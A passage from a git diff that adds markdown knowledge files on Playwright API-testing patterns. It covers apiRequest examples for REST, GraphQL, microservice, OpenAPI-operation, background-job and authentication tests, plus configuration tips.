+
+**Context**: Test interactions between microservices without a browser.
+
+**Implementation**:
+
+```typescript
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+const USER_SERVICE = process.env.USER_SERVICE_URL || 'http://localhost:3001';
+const ORDER_SERVICE = process.env.ORDER_SERVICE_URL || 'http://localhost:3002';
+
+test.describe('Microservice Integration', () => {
+  test('should validate cross-service user lookup', async ({ apiRequest }) => {
+    // Create user in user-service
+    const { body: user } = await apiRequest({
+      method: 'POST',
+      path: '/api/users',
+      baseUrl: USER_SERVICE,
+      body: { name: 'Test User', email: 'test@example.com' },
+    });
+
+    // Create order in order-service (validates user via user-service)
+    const { status, body: order } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE,
+      body: {
+        userId: user.id,
+        items: [{ productId: 'prod-1', quantity: 2 }],
+      },
+    });
+
+    expect(status).toBe(201);
+    expect(order.userId).toBe(user.id);
+  });
+
+  test('should reject order for invalid user', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE,
+      body: {
+        userId: 'non-existent-user',
+        items: [{ productId: 'prod-1', quantity: 1 }],
+      },
+    });
+
+    expect(status).toBe(400);
+    expect(body.code).toBe('INVALID_USER');
+  });
+});
+```
+
+**Key Points**:
+
+- Test multiple services without browser
+- Use `baseUrl` to target different services
+- Validate cross-service communication
+- Pure API testing - fast and reliable
+
+### Example 7: GraphQL API Testing
+
+**Context**: Test GraphQL endpoints with queries and mutations.
+
+**Implementation**:
+
+```typescript
+test.describe('GraphQL API', () => {
+  const GRAPHQL_ENDPOINT = '/graphql';
+
+  test('should query users via GraphQL', async ({ apiRequest }) => {
+    const query = `
+      query GetUsers($limit: Int) {
+        users(limit: $limit) {
+          id
+          name
+          email
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query,
+        variables: { limit: 10 },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.errors).toBeUndefined();
+    expect(body.data.users).toHaveLength(10);
+  });
+
+  test('should create user via mutation', async ({ apiRequest }) => {
+    const mutation = `
+      mutation CreateUser($input: CreateUserInput!) {
+        createUser(input: $input) {
+          id
+          name
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query: mutation,
+        variables: {
+          input: { name: 'GraphQL User', email: 'gql@example.com' },
+        },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.data.createUser.id).toBeDefined();
+  });
+});
+```
+
+**Key Points**:
+
+- GraphQL via POST request
+- Variables in request body
+- Check `body.errors` for GraphQL errors (not status code)
+- Works for queries and mutations
+
+### Example 8: Operation-Based Overload (OpenAPI / Code Generators)
+
+**Context**: When using a code generator (orval, openapi-generator, custom scripts) that produces typed operation definitions from an OpenAPI spec, pass the operation object directly to `apiRequest`. This eliminates manual `method`/`path` extraction and `typeof` assertions while preserving full type inference for request body, response, and query parameters. Available since v3.14.0.
+
+**Implementation**:
+
+```typescript
+// Generated operation definition — structural typing, no import from playwright-utils needed
+// type OperationShape = { path: string; method: 'POST'|'GET'|'PUT'|'DELETE'|'PATCH'|'HEAD'; response: unknown; request: unknown; query?: unknown }
+
+import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+// --- Basic usage: operation replaces method + path ---
+test('should upsert person via operation overload', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    operation: upsertPersonv2({ customerId }),
+    headers: getHeaders(customerId),
+    body: personInput, // compile-time typed as Schemas.PersonInput
+  });
+
+  expect(status).toBe(200);
+  expect(body.id).toBeDefined(); // body typed as Schemas.Person
+});
+
+// --- Typed query parameters (replaces string concatenation) ---
+test('should list people with typed query', async ({ apiRequest }) => {
+  const { body } = await apiRequest({
+    operation: getPeoplev2({ customerId }),
+    headers: getHeaders(customerId),
+    query: { page: 0, page_size: 5 }, // typed from operation's query definition
+  });
+
+  expect(body.items).toHaveLength(5);
+});
+
+// --- Params escape hatch (pre-formatted query strings) ---
+test('should fetch billing history with raw params', async ({ apiRequest }) => {
+  const { body } = await apiRequest({
+    operation: getBillingHistoryv2({ customerId }),
+    headers: getHeaders(customerId),
+    params: {
+      'filters[start_date]': getThisMonthTimestamp(),
+      'filters[date_type]': 'MONTH',
+    },
+  });
+
+  expect(body.entries.length).toBeGreaterThan(0);
+});
+
+// --- Works with recurse (polling) ---
+test('should poll until person is reviewed', async ({ apiRequest, recurse }) => {
+  await recurse(
+    async () =>
+      apiRequest({
+        operation: getPersonv2({ customerId, hash }),
+        headers: getHeaders(customerId),
+      }),
+    (res) => {
+      expect(res.status).toBe(200);
+      expect(res.body.status).toBe('REVIEWED');
+    },
+    { timeout: 30000, interval: 1000 },
+  );
+});
+
+// --- Schema validation chains work identically ---
+test('should create movie with schema validation', async ({ apiRequest }) => {
+  const { body } = await apiRequest({
+    operation: createMovieOp,
+    headers: commonHeaders(authToken),
+    body: movie,
+  }).validateSchema(CreateMovieResponseSchema, {
+    shape: { status: 200, data: { name: movie.name } },
+  });
+
+  expect(body.data.id).toBeDefined();
+});
+```
+
+**Key Points**:
+
+- Pass `operation` instead of `method` + `path` — mutually exclusive at compile time
+- Response body, request body, and query types inferred from operation definition
+- Uses structural typing (duck typing) — works with any code generator producing `{ path, method, response, request, query? }`
+- `query` field auto-serializes to bracket notation (`filters[type]=pep`, `ids[0]=10`)
+- `params` escape hatch for pre-formatted strings — wins over `query` on conflict
+- Fully composable with `recurse`, `validateSchema`, and all existing features
+- `response`/`request`/`query` on the operation are type-level only — runtime never reads their values
+
+## Comparison with Vanilla Playwright
+
+| Vanilla Playwright                             | playwright-utils apiRequest                                                        |
+| ---------------------------------------------- | ---------------------------------------------------------------------------------- |
+| `const resp = await request.get('/api/users')` | `const { status, body } = await apiRequest({ method: 'GET', path: '/api/users' })` |
+| `const body = await resp.json()`               | Response already parsed                                                            |
+| `expect(resp.ok()).toBeTruthy()`               | Status code directly accessible                                                    |
+| No retry logic                                 | Auto-retry 5xx errors with backoff                                                 |
+| No schema validation                           | Built-in multi-format validation                                                   |
+| Manual error handling                          | Descriptive error messages                                                         |
+
+## When to Use
+
+**Use apiRequest for:**
+
+- ✅ Pure API/service testing (no browser needed)
+- ✅ Microservice integration testing
+- ✅ GraphQL API testing
+- ✅ Schema validation needs
+- ✅ Tests requiring retry logic
+- ✅ Background API calls in UI tests
+- ✅ Contract testing support
+- ✅ Type-safe API testing with OpenAPI-generated operations (v3.14.0+)
+
+**Stick with vanilla Playwright for:**
+
+- Simple one-off requests where utility overhead isn't worth it
+- Testing Playwright's native features specifically
+- Legacy tests where migration isn't justified
+
+## Related Fragments
+
+- `api-testing-patterns.md` - Comprehensive pure API testing patterns
+- `overview.md` - Installation and design principles
+- `auth-session.md` - Authentication token management
+- `recurse.md` - Polling for async operations
+- `fixtures-composition.md` - Combining utilities with mergeTests
+- `log.md` - Logging API requests
+- `contract-testing.md` - Pact contract testing
+
+## Anti-Patterns
+
+**❌ Ignoring retry failures:**
+
+```typescript
+try {
+  await apiRequest({ method: 'GET', path: '/api/unstable' });
+} catch {
+  // Silent failure - loses retry information
+}
+```
+
+**✅ Let retries happen, handle final failure:**
+
+```typescript
+await expect(apiRequest({ method: 'GET', path: '/api/unstable' })).rejects.toThrow(); // Retries happen automatically, then final error caught
+```
+
+**❌ Disabling TypeScript benefits:**
+
+```typescript
+const response: any = await apiRequest({ method: 'GET', path: '/users' });
+```
+
+**✅ Use generic types:**
+
+```typescript
+const { body } = await apiRequest<User[]>({ method: 'GET', path: '/users' });
+// body is typed as User[]
+```
+
+**❌ Mixing operation overload with explicit generics:**
+
+```typescript
+// Don't pass a generic when using operation — types are inferred from the operation
+const { body } = await apiRequest<MyType>({
+  operation: getPersonv2({ customerId }),
+  headers: getHeaders(customerId),
+});
+```
+
+**✅ Let the operation infer the types:**
+
+```typescript
+const { body } = await apiRequest({
+  operation: getPersonv2({ customerId }),
+  headers: getHeaders(customerId),
+});
+// body type inferred from operation.response
+```
+
+**❌ Mixing operation with method/path:**
+
+```typescript
+// Compile error — operation and method/path are mutually exclusive
+await apiRequest({
+  operation: getPersonv2({ customerId }),
+  method: 'GET', // Error: method?: never
+  path: '/api/person', // Error: path?: never
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/api-testing-patterns.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/api-testing-patterns.md
new file mode 100644
index 0000000..564f0b2
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/api-testing-patterns.md
@@ -0,0 +1,915 @@
+# API Testing Patterns
+
+## Principle
+
+Test APIs and backend services directly without browser overhead. Use Playwright's `request` context for HTTP operations, `apiRequest` utility for enhanced features, and `recurse` for async operations. Pure API tests run faster, are more stable, and provide better coverage for service-layer logic.
+
+## Rationale
+
+Many teams over-rely on E2E/browser tests when API tests would be more appropriate:
+
+- **Slower feedback**: Browser tests take seconds, API tests take milliseconds
+- **More brittle**: UI changes break tests even when API works correctly
+- **Wrong abstraction**: Testing business logic through UI layers adds noise
+- **Resource heavy**: Browsers consume memory and CPU
+
+API-first testing provides:
+
+- **Fast execution**: No browser startup, no rendering, no JavaScript execution
+- **Direct validation**: Test exactly what the service returns
+- **Better isolation**: Test service logic independent of UI
+- **Easier debugging**: Clear request/response without DOM noise
+- **Contract validation**: Verify API contracts explicitly
+
+## When to Use API Tests vs E2E Tests
+
+| Scenario                  | API Test      | E2E Test      |
+| ------------------------- | ------------- | ------------- |
+| CRUD operations           | ✅ Primary    | ❌ Overkill   |
+| Business logic validation | ✅ Primary    | ❌ Overkill   |
+| Error handling (4xx, 5xx) | ✅ Primary    | ⚠️ Supplement |
+| Authentication flows      | ✅ Primary    | ⚠️ Supplement |
+| Data transformation       | ✅ Primary    | ❌ Overkill   |
+| User journeys             | ❌ Can't test | ✅ Primary    |
+| Visual regression         | ❌ Can't test | ✅ Primary    |
+| Cross-browser issues      | ❌ Can't test | ✅ Primary    |
+
+**Rule of thumb**: If you're testing what the server returns (not how it looks), use API tests.
+
+## Pattern Examples
+
+### Example 1: Pure API Test (No Browser)
+
+**Context**: Test REST API endpoints directly without any browser context.
+
+**Implementation**:
+
+```typescript
+// tests/api/users.spec.ts
+import { test, expect } from '@playwright/test';
+
+// No page, no browser - just API
+test.describe('Users API', () => {
+  test('should create user', async ({ request }) => {
+    const response = await request.post('/api/users', {
+      data: {
+        name: 'John Doe',
+        email: 'john@example.com',
+        role: 'user',
+      },
+    });
+
+    expect(response.status()).toBe(201);
+
+    const user = await response.json();
+    expect(user.id).toBeDefined();
+    expect(user.name).toBe('John Doe');
+    expect(user.email).toBe('john@example.com');
+  });
+
+  test('should get user by ID', async ({ request }) => {
+    // Create user first
+    const createResponse = await request.post('/api/users', {
+      data: { name: 'Jane Doe', email: 'jane@example.com' },
+    });
+    const { id } = await createResponse.json();
+
+    // Get user
+    const getResponse = await request.get(`/api/users/${id}`);
+    expect(getResponse.status()).toBe(200);
+
+    const user = await getResponse.json();
+    expect(user.id).toBe(id);
+    expect(user.name).toBe('Jane Doe');
+  });
+
+  test('should return 404 for non-existent user', async ({ request }) => {
+    const response = await request.get('/api/users/non-existent-id');
+    expect(response.status()).toBe(404);
+
+    const error = await response.json();
+    expect(error.code).toBe('USER_NOT_FOUND');
+  });
+
+  test('should validate required fields', async ({ request }) => {
+    const response = await request.post('/api/users', {
+      data: { name: 'Missing Email' }, // email is required
+    });
+
+    expect(response.status()).toBe(400);
+
+    const error = await response.json();
+    expect(error.code).toBe('VALIDATION_ERROR');
+    expect(error.details).toContainEqual(expect.objectContaining({ field: 'email', message: expect.any(String) }));
+  });
+});
+```
+
+**Key Points**:
+
+- No `page` fixture needed - only `request`
+- Tests run without browser overhead
+- Direct HTTP assertions
+- Clear error handling tests
+
+### Example 2: API Test with apiRequest Utility
+
+**Context**: Use enhanced apiRequest for schema validation, retry, and type safety.
+
+**Implementation**:
+
+```typescript
+// tests/api/orders.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { z } from 'zod';
+
+// Define schema for type safety and validation
+const OrderSchema = z.object({
+  id: z.string().uuid(),
+  userId: z.string(),
+  items: z.array(
+    z.object({
+      productId: z.string(),
+      quantity: z.number().positive(),
+      price: z.number().positive(),
+    }),
+  ),
+  total: z.number().positive(),
+  status: z.enum(['pending', 'processing', 'shipped', 'delivered']),
+  createdAt: z.string().datetime(),
+});
+
+type Order = z.infer<typeof OrderSchema>;
+
+test.describe('Orders API', () => {
+  test('should create order with schema validation', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest<Order>({
+      method: 'POST',
+      path: '/api/orders',
+      body: {
+        userId: 'user-123',
+        items: [
+          { productId: 'prod-1', quantity: 2, price: 29.99 },
+          { productId: 'prod-2', quantity: 1, price: 49.99 },
+        ],
+      },
+      validateSchema: OrderSchema, // Validates response matches schema
+    });
+
+    expect(status).toBe(201);
+    expect(body.id).toBeDefined();
+    expect(body.status).toBe('pending');
+    expect(body.total).toBe(109.97); // 2*29.99 + 49.99
+  });
+
+  test('should handle server errors with retry', async ({ apiRequest }) => {
+    // apiRequest retries 5xx errors by default
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/orders/order-123',
+      retryConfig: {
+        maxRetries: 3,
+        retryDelay: 1000,
+      },
+    });
+
+    expect(status).toBe(200);
+  });
+
+  test('should list orders with pagination', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest<{ orders: Order[]; total: number; page: number }>({
+      method: 'GET',
+      path: '/api/orders',
+      params: { page: 1, limit: 10, status: 'pending' },
+    });
+
+    expect(status).toBe(200);
+    expect(body.orders).toHaveLength(10);
+    expect(body.total).toBeGreaterThan(10);
+    expect(body.page).toBe(1);
+  });
+});
+```
+
+**Key Points**:
+
+- Zod schema for runtime validation AND TypeScript types
+- `validateSchema` throws if response doesn't match
+- Built-in retry for transient failures
+- Type-safe `body` access
+- **Note**: If your project uses code-generated operations from an OpenAPI spec, see [Example 8](#example-8-operation-based-api-testing-openapi--code-generators) for the preferred `operation`-based overload (v3.14.0+)
+
+### Example 3: Microservice-to-Microservice Testing
+
+**Context**: Test service interactions without browser - validate API contracts between services.
+
+**Implementation**:
+
+```typescript
+// tests/api/service-integration.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+test.describe('Service Integration', () => {
+  const USER_SERVICE_URL = process.env.USER_SERVICE_URL || 'http://localhost:3001';
+  const ORDER_SERVICE_URL = process.env.ORDER_SERVICE_URL || 'http://localhost:3002';
+  const INVENTORY_SERVICE_URL = process.env.INVENTORY_SERVICE_URL || 'http://localhost:3003';
+
+  test('order service should validate user exists', async ({ apiRequest }) => {
+    // Create user in user-service
+    const { body: user } = await apiRequest({
+      method: 'POST',
+      path: '/api/users',
+      baseUrl: USER_SERVICE_URL,
+      body: { name: 'Test User', email: 'test@example.com' },
+    });
+
+    // Create order in order-service (should validate user via user-service)
+    const { status, body: order } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE_URL,
+      body: {
+        userId: user.id,
+        items: [{ productId: 'prod-1', quantity: 1 }],
+      },
+    });
+
+    expect(status).toBe(201);
+    expect(order.userId).toBe(user.id);
+  });
+
+  test('order service should reject invalid user', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE_URL,
+      body: {
+        userId: 'non-existent-user',
+        items: [{ productId: 'prod-1', quantity: 1 }],
+      },
+    });
+
+    expect(status).toBe(400);
+    expect(body.code).toBe('INVALID_USER');
+  });
+
+  test('order should decrease inventory', async ({ apiRequest, recurse }) => {
+    // Get initial inventory
+    const { body: initialInventory } = await apiRequest({
+      method: 'GET',
+      path: '/api/inventory/prod-1',
+      baseUrl: INVENTORY_SERVICE_URL,
+    });
+
+    // Create order
+    await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE_URL,
+      body: {
+        userId: 'user-123',
+        items: [{ productId: 'prod-1', quantity: 2 }],
+      },
+    });
+
+    // Poll for inventory update (eventual consistency)
+    const { body: updatedInventory } = await recurse(
+      () =>
+        apiRequest({
+          method: 'GET',
+          path: '/api/inventory/prod-1',
+          baseUrl: INVENTORY_SERVICE_URL,
+        }),
+      (response) => response.body.quantity === initialInventory.quantity - 2,
+      { timeout: 10000, interval: 500 },
+    );
+
+    expect(updatedInventory.quantity).toBe(initialInventory.quantity - 2);
+  });
+});
+```
+
+**Key Points**:
+
+- Multiple service URLs for microservice testing
+- Tests service-to-service communication
+- Uses `recurse` for eventual consistency
+- No browser needed for full integration testing
+
+### Example 4: GraphQL API Testing
+
+**Context**: Test GraphQL endpoints with queries and mutations.
+
+**Implementation**:
+
+```typescript
+// tests/api/graphql.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+const GRAPHQL_ENDPOINT = '/graphql';
+
+test.describe('GraphQL API', () => {
+  test('should query users', async ({ apiRequest }) => {
+    const query = `
+      query GetUsers($limit: Int) {
+        users(limit: $limit) {
+          id
+          name
+          email
+          role
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query,
+        variables: { limit: 10 },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.errors).toBeUndefined();
+    expect(body.data.users).toHaveLength(10);
+    expect(body.data.users[0]).toHaveProperty('id');
+    expect(body.data.users[0]).toHaveProperty('name');
+  });
+
+  test('should create user via mutation', async ({ apiRequest }) => {
+    const mutation = `
+      mutation CreateUser($input: CreateUserInput!) {
+        createUser(input: $input) {
+          id
+          name
+          email
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query: mutation,
+        variables: {
+          input: {
+            name: 'GraphQL User',
+            email: 'graphql@example.com',
+          },
+        },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.errors).toBeUndefined();
+    expect(body.data.createUser.id).toBeDefined();
+    expect(body.data.createUser.name).toBe('GraphQL User');
+  });
+
+  test('should handle GraphQL errors', async ({ apiRequest }) => {
+    const query = `
+      query GetUser($id: ID!) {
+        user(id: $id) {
+          id
+          name
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query,
+        variables: { id: 'non-existent' },
+      },
+    });
+
+    expect(status).toBe(200); // GraphQL returns 200 even for errors
+    expect(body.errors).toBeDefined();
+    expect(body.errors[0].message).toContain('not found');
+    expect(body.data.user).toBeNull();
+  });
+
+  test('should handle validation errors', async ({ apiRequest }) => {
+    const mutation = `
+      mutation CreateUser($input: CreateUserInput!) {
+        createUser(input: $input) {
+          id
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query: mutation,
+        variables: {
+          input: {
+            name: '', // Invalid: empty name
+            email: 'invalid-email', // Invalid: bad format
+          },
+        },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.errors).toBeDefined();
+    expect(body.errors[0].extensions.code).toBe('BAD_USER_INPUT');
+  });
+});
+```
+
+**Key Points**:
+
+- GraphQL queries and mutations via POST
+- Variables passed in request body
+- GraphQL returns 200 even for errors (check `body.errors`)
+- Test validation and business logic errors
+
+### Example 5: Database Seeding and Cleanup via API
+
+**Context**: Use API calls to set up and tear down test data without direct database access.
+
+**Implementation**:
+
+```typescript
+// tests/api/with-data-setup.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+test.describe('Orders with Data Setup', () => {
+  let testUser: { id: string; email: string };
+  let testProducts: Array<{ id: string; name: string; price: number }>;
+
+  test.beforeAll(async ({ request }) => {
+    // Seed user via API
+    const userResponse = await request.post('/api/users', {
+      data: {
+        name: 'Test User',
+        email: `test-${Date.now()}@example.com`,
+      },
+    });
+    testUser = await userResponse.json();
+
+    // Seed products via API
+    testProducts = [];
+    for (const product of [
+      { name: 'Widget A', price: 29.99 },
+      { name: 'Widget B', price: 49.99 },
+      { name: 'Widget C', price: 99.99 },
+    ]) {
+      const productResponse = await request.post('/api/products', {
+        data: product,
+      });
+      testProducts.push(await productResponse.json());
+    }
+  });
+
+  test.afterAll(async ({ request }) => {
+    // Cleanup via API
+    if (testUser?.id) {
+      await request.delete(`/api/users/${testUser.id}`);
+    }
+    for (const product of testProducts) {
+      await request.delete(`/api/products/${product.id}`);
+    }
+  });
+
+  test('should create order with seeded data', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      body: {
+        userId: testUser.id,
+        items: [
+          { productId: testProducts[0].id, quantity: 2 },
+          { productId: testProducts[1].id, quantity: 1 },
+        ],
+      },
+    });
+
+    expect(status).toBe(201);
+    expect(body.userId).toBe(testUser.id);
+    expect(body.items).toHaveLength(2);
+    expect(body.total).toBe(2 * 29.99 + 49.99);
+  });
+
+  test('should list user orders', async ({ apiRequest }) => {
+    // Create an order first
+    await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      body: {
+        userId: testUser.id,
+        items: [{ productId: testProducts[2].id, quantity: 1 }],
+      },
+    });
+
+    // List orders for user
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/orders',
+      params: { userId: testUser.id },
+    });
+
+    expect(status).toBe(200);
+    expect(body.orders.length).toBeGreaterThanOrEqual(1);
+    expect(body.orders.every((o: any) => o.userId === testUser.id)).toBe(true);
+  });
+});
+```
+
+**Key Points**:
+
+- `beforeAll`/`afterAll` for test data setup/cleanup
+- API-based seeding (no direct DB access needed)
+- Unique emails to prevent conflicts in parallel runs
+- Cleanup after all tests complete
+
+### Example 6: Background Job Testing with Recurse
+
+**Context**: Test async operations like background jobs, webhooks, and eventual consistency.
+
+**Implementation**:
+
+```typescript
+// tests/api/background-jobs.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+test.describe('Background Jobs', () => {
+  test('should process export job', async ({ apiRequest, recurse }) => {
+    // Trigger export job
+    const { body: job } = await apiRequest({
+      method: 'POST',
+      path: '/api/exports',
+      body: {
+        type: 'users',
+        format: 'csv',
+        filters: { createdAfter: '2024-01-01' },
+      },
+    });
+
+    expect(job.id).toBeDefined();
+    expect(job.status).toBe('pending');
+
+    // Poll until job completes
+    const { body: completedJob } = await recurse(
+      () => apiRequest({ method: 'GET', path: `/api/exports/${job.id}` }),
+      (response) => response.body.status === 'completed',
+      {
+        timeout: 60000,
+        interval: 2000,
+        log: `Waiting for export job ${job.id} to complete`,
+      },
+    );
+
+    expect(completedJob.status).toBe('completed');
+    expect(completedJob.downloadUrl).toBeDefined();
+    expect(completedJob.recordCount).toBeGreaterThan(0);
+  });
+
+  test('should handle job failure gracefully', async ({ apiRequest, recurse }) => {
+    // Trigger job that will fail
+    const { body: job } = await apiRequest({
+      method: 'POST',
+      path: '/api/exports',
+      body: {
+        type: 'invalid-type', // This will cause failure
+        format: 'csv',
+      },
+    });
+
+    // Poll until job fails
+    const { body: failedJob } = await recurse(
+      () => apiRequest({ method: 'GET', path: `/api/exports/${job.id}` }),
+      (response) => ['completed', 'failed'].includes(response.body.status),
+      { timeout: 30000 },
+    );
+
+    expect(failedJob.status).toBe('failed');
+    expect(failedJob.error).toBeDefined();
+    expect(failedJob.error.code).toBe('INVALID_EXPORT_TYPE');
+  });
+
+  test('should process webhook delivery', async ({ apiRequest, recurse }) => {
+    // Trigger action that sends webhook
+    const { body: order } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      body: {
+        userId: 'user-123',
+        items: [{ productId: 'prod-1', quantity: 1 }],
+        webhookUrl: 'https://webhook.site/test-endpoint',
+      },
+    });
+
+    // Poll for webhook delivery status
+    const { body: webhookStatus } = await recurse(
+      () => apiRequest({ method: 'GET', path: `/api/webhooks/order/${order.id}` }),
+      (response) => response.body.delivered === true,
+      { timeout: 30000, interval: 1000 },
+    );
+
+    expect(webhookStatus.delivered).toBe(true);
+    expect(webhookStatus.deliveredAt).toBeDefined();
+    expect(webhookStatus.responseStatus).toBe(200);
+  });
+});
+```
+
+**Key Points**:
+
+- `recurse` for polling async operations
+- Test both success and failure scenarios
+- Configurable timeout and interval
+- Log messages for debugging
+
+### Example 7: Service Authentication (No Browser)
+
+**Context**: Test authenticated API endpoints using tokens directly - no browser login needed.
+
+**Implementation**:
+
+```typescript
+// tests/api/authenticated.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+test.describe('Authenticated API Tests', () => {
+  let authToken: string;
+
+  test.beforeAll(async ({ request }) => {
+    // Get token via API (no browser!)
+    const response = await request.post('/api/auth/login', {
+      data: {
+        email: process.env.TEST_USER_EMAIL,
+        password: process.env.TEST_USER_PASSWORD,
+      },
+    });
+
+    const { token } = await response.json();
+    authToken = token;
+  });
+
+  test('should access protected endpoint with token', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/me',
+      headers: {
+        Authorization: `Bearer ${authToken}`,
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.email).toBe(process.env.TEST_USER_EMAIL);
+  });
+
+  test('should reject request without token', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/me',
+      // No Authorization header
+    });
+
+    expect(status).toBe(401);
+    expect(body.code).toBe('UNAUTHORIZED');
+  });
+
+  test('should reject expired token', async ({ apiRequest }) => {
+    const expiredToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...'; // Expired token
+
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/me',
+      headers: {
+        Authorization: `Bearer ${expiredToken}`,
+      },
+    });
+
+    expect(status).toBe(401);
+    expect(body.code).toBe('TOKEN_EXPIRED');
+  });
+
+  test('should handle role-based access', async ({ apiRequest }) => {
+    // User token (non-admin)
+    const { status } = await apiRequest({
+      method: 'GET',
+      path: '/api/admin/users',
+      headers: {
+        Authorization: `Bearer ${authToken}`,
+      },
+    });
+
+    expect(status).toBe(403); // Forbidden for non-admin
+  });
+});
+```
+
+**Key Points**:
+
+- Token obtained via API login (no browser)
+- Token reused across all tests in describe block
+- Test auth, expired tokens, and RBAC
+- Pure API testing without UI
+
+### Example 8: Operation-Based API Testing (OpenAPI / Code Generators)
+
+**Context**: When your project uses code-generated operation definitions from an OpenAPI spec, leverage the operation-based overload of `apiRequest` (v3.14.0+) instead of manual `method`/`path` extraction. This eliminates `typeof` assertions and provides full type inference for request body, response, and query parameters.
+
+**Implementation**:
+
+```typescript
+// tests/api/operations.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test.describe('API Tests with Generated Operations', () => {
+  test('should create entity with full type safety', async ({ apiRequest }) => {
+    // Operation object from code generator — contains path, method, and type info
+    const { status, body } = await apiRequest({
+      operation: createEntityOp({ workspaceId }),
+      headers: getHeaders(workspaceId),
+      body: entityInput, // Compile-time typed from operation.request
+    });
+
+    expect(status).toBe(201);
+    expect(body.id).toBeDefined(); // body typed from operation.response
+  });
+
+  test('should list with typed query parameters', async ({ apiRequest }) => {
+    // query field replaces manual string concatenation
+    const { body } = await apiRequest({
+      operation: listEntitiesOp({ workspaceId }),
+      headers: getHeaders(workspaceId),
+      query: { page: 0, page_size: 10, status: 'active' },
+    });
+
+    expect(body.items).toHaveLength(10);
+    expect(body.total).toBeGreaterThan(10);
+  });
+
+  test('should poll async operation until complete', async ({ apiRequest, recurse }) => {
+    const { body: job } = await apiRequest({
+      operation: startJobOp({ workspaceId }),
+      headers: getHeaders(workspaceId),
+      body: { type: 'export' },
+    });
+
+    await recurse(
+      async () =>
+        apiRequest({
+          operation: getJobOp({ workspaceId, jobId: job.id }),
+          headers: getHeaders(workspaceId),
+        }),
+      (res) => res.body.status === 'completed',
+      { timeout: 60000, interval: 2000 },
+    );
+  });
+});
+```
+
+**Key Points**:
+
+- `operation` replaces `method` + `path` — mutually exclusive at compile time
+- Types for body, response, and query all inferred from the operation definition
+- Works with any code generator using structural typing (no imports from playwright-utils needed in generator)
+- Composable with `recurse`, `validateSchema`, and all existing `apiRequest` features
+- Preferred approach over `typeof operation.response` for generated operations
+
+## API Test Configuration
+
+### Playwright Config for API-Only Tests
+
+```typescript
+// playwright.config.ts
+import { defineConfig } from '@playwright/test';
+
+export default defineConfig({
+  testDir: './tests/api',
+
+  // No browser needed for API tests
+  use: {
+    baseURL: process.env.API_URL || 'http://localhost:3000',
+    extraHTTPHeaders: {
+      Accept: 'application/json',
+      'Content-Type': 'application/json',
+    },
+  },
+
+  // Faster without browser overhead
+  timeout: 30000,
+
+  // Run API tests in parallel
+  workers: 4,
+  fullyParallel: true,
+
+  // No screenshots/traces needed for API tests
+  reporter: [['html'], ['json', { outputFile: 'api-test-results.json' }]],
+});
+```
+
+### Separate API Test Project
+
+```typescript
+// playwright.config.ts
+export default defineConfig({
+  projects: [
+    {
+      name: 'api',
+      testDir: './tests/api',
+      use: {
+        baseURL: process.env.API_URL,
+      },
+    },
+    {
+      name: 'e2e',
+      testDir: './tests/e2e',
+      use: {
+        baseURL: process.env.APP_URL,
+        ...devices['Desktop Chrome'],
+      },
+    },
+  ],
+});
+```
+
+## Comparison: API Tests vs E2E Tests
+
+| Aspect              | API Test               | E2E Test                    |
+| ------------------- | ---------------------- | --------------------------- |
